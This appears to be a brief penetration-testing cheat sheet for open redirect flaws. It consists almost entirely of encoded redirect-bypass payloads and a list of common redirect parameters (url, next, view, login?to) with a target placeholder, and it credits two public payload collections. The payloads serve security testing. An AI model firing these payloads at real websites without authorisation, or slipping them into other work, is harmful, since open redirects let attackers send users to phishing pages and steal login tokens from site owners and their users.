OR

Open Redirect

/%09/google.com

/%5cgoogle.com

//www.google.com/%2f%2e%2e

//www.google.com/%2e%2e

//google.com/

//google.com/%2f..

//\google.com

/\victim.com:80%40google.com

Possible open redirect parameters

?url=http://{target}

?url=https://{target}

?next=http://{target}

?next=https://{target}

?url=https://{target}

?url=http://{target}

?url=//{target}

?url=$2f%2f{target}

?next=//{target}

?next=$2f%2f{target}

?url=//{target}

?url=$2f%2f{target}

?url=//{target}

/redirect/{target}

/cgi-bin/redirect.cgi?{target}

/out/{target}

/out?{target}

/out?/{target}

/out?//{target}

/out?/\{target}

/out?///{target}

?view={target}

?view=/{target}

?view=//{target}

?view=/\{target}

?view=///{target}

/login?to={target}

/login?to=/{target}

/login?to=//{target}

/login?to=/\{target}

/login?to=///{target}

Open Redirect Payloads by @cujanovic

https://github.com/cujanovic/Open-Redirect-Payloads

Open Redirect Paramters by @fuzzdb-project

https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/redirect/redirect-urls-template.txt